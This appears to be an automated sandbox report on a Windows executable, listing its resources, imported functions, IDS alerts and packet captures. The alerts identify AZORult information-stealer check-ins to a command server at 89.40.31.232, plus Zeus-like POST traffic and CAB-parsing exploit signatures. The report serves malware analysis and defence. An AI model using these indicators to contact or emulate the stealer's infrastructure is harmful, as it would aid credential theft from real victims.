RT_ICON	0xa6138	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5581967213114755
RT_ICON	0xa6ac0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6453900709219859
RT_DIALOG	0xa6f28	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0xa7070	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0xa71b0	0x100	data	English	United States	0.5234375
RT_DIALOG	0xa72b0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xa73d0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0xa7498	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xa74f8	0x76	data	English	United States	0.7457627118644068
RT_VERSION	0xa7570	0x134	data	English	United States	0.5909090909090909
RT_MANIFEST	0xa76a8	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, SetWindowPos, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersion, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, ExitProcess, CopyFileW, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-04T16:51:06.842718+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.6	49780	TCP
2024-11-04T16:51:25.121421+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.6	59281	TCP
2024-11-04T16:51:26.439634+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.6	59284	TCP
2024-11-04T16:52:31.377185+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	59471	216.58.206.78	443	TCP
2024-11-04T16:52:36.960257+0100	2029465	ET MALWARE Win32/AZORult V3.2 Client Checkin M15	1	192.168.2.6	59474	89.40.31.232	80	TCP
2024-11-04T16:52:36.960257+0100	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.6	59474	89.40.31.232	80	TCP
2024-11-04T16:52:37.198806+0100	2029141	ET MALWARE AZORult v3.2 Server Response M3	1	89.40.31.232	80	192.168.2.6	59474	TCP
2024-11-04T16:52:43.159915+0100	2016858	ET MALWARE Generic - POST To .php w/Extended ASCII Characters (Likely Zeus Derivative)	1	192.168.2.6	59475	89.40.31.232	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 16:52:29.972546101 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:29.972582102 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:29.972759008 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:30.023293018 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:30.023308992 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:30.892636061 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:30.892728090 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:30.893742085 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:30.893789053 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:30.989273071 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:30.989309072 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:30.989687920 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:30.989743948 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:31.007647038 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:31.055339098 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:31.377186060 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:31.377382040 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:31.377417088 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:31.378915071 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:31.385710001 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:31.385799885 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:31.385999918 CET	443	59471	216.58.206.78	192.168.2.6
Nov 4, 2024 16:52:31.386019945 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:31.386054993 CET	59471	443	192.168.2.6	216.58.206.78
Nov 4, 2024 16:52:31.503998041 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:31.504062891 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:31.504153013 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:31.507781982 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:31.507819891 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:32.375401974 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:32.375516891 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:32.379203081 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:32.379218102 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:32.379508972 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:32.380003929 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:32.383193016 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:32.423346996 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.819228888 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.819336891 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.827591896 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.827666044 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.938319921 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.938401937 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.938410044 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.938452959 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.938474894 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.938528061 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.939533949 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.939582109 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.939590931 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.939640999 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.943885088 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.943990946 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.944001913 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.944056034 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.953073978 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.953288078 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.953300953 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.953346014 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.961429119 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.961482048 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.961493969 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.961539984 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.970578909 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.970628023 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.970644951 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.970712900 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.970719099 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.970766068 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.979120016 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.979180098 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:34.979192019 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:34.979242086 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.014642954 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.014709949 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.014724970 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.014736891 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.014811039 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.014811039 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.014830112 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.014892101 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.058499098 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.058588028 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.058595896 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.058625937 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.058643103 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.058670044 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.058700085 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.058706999 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.058733940 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.058758020 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.058763981 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.058804989 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.058947086 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.058999062 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.059005022 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.059046030 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.059437990 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.059571981 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.059578896 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.059624910 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.059914112 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.059958935 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.059966087 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.060009956 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.063744068 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.063791037 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.063807964 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.063844919 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.064397097 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.064578056 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.064584017 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.064807892 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.072546005 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.072591066 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.072814941 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.072860003 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.072870016 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.072911978 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.079041004 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.079092026 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.079101086 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.079147100 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.081965923 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.082036972 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.082045078 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.082087994 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.087295055 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.087347984 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.087357044 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.087433100 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.093411922 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.093460083 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.093467951 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.093502998 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.098723888 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.098890066 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.098900080 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.099067926 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.104480982 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.104532957 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.104541063 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.104588985 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.109724998 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.111309052 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.111325979 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.111381054 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.115593910 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.115850925 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.115859985 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.115910053 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.121143103 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.121206045 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.121288061 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.121475935 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.127177000 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.127279997 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.127290010 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.127396107 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.132774115 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.132828951 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.132839918 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.132884979 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.179529905 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179617882 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.179622889 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179646969 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179687023 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179701090 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.179708958 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179718971 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.179742098 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179764032 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.179769993 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179799080 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.179833889 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.179841995 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179929018 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.179934025 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.179989100 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.180737972 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.180787086 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.180790901 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.180800915 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.180825949 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.180876017 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.180883884 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.180921078 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.180927038 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.180968046 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.180974007 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.181021929 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.181624889 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.181673050 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.181771994 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.181809902 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.181838036 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.181884050 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.181890965 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.182024956 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.182079077 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.182125092 CET	443	59472	142.250.185.97	192.168.2.6
Nov 4, 2024 16:52:35.182198048 CET	59472	443	192.168.2.6	142.250.185.97
Nov 4, 2024 16:52:35.964138985 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:35.969132900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:35.969223022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:35.969382048 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:35.974143028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960175991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960201025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960216999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960223913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960230112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960237026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960257053 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:36.960293055 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:36.960304022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960309982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960321903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960329056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.960351944 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:36.960374117 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:36.967111111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.967138052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.967186928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:36.967210054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:36.967331886 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.079036951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.079058886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.079082966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.079090118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.079103947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.079133987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.079149961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.079158068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.079180002 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.079200983 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.079930067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.079983950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.080082893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.080090046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.080101967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.080137014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.080544949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.080563068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.080573082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.080579042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.080594063 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.080599070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.080631018 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.080658913 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.081295013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.081357956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.081389904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.081397057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.081432104 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.081449986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.081458092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.081501961 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.082186937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.082195044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.082252979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.083913088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.083961964 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.124558926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.124567986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.124576092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.124592066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.124624968 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.124685049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.198806047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.198828936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.198838949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.198890924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.198890924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.198896885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.198910952 CET	80	59474	89.40.31.232	192.168.2.6
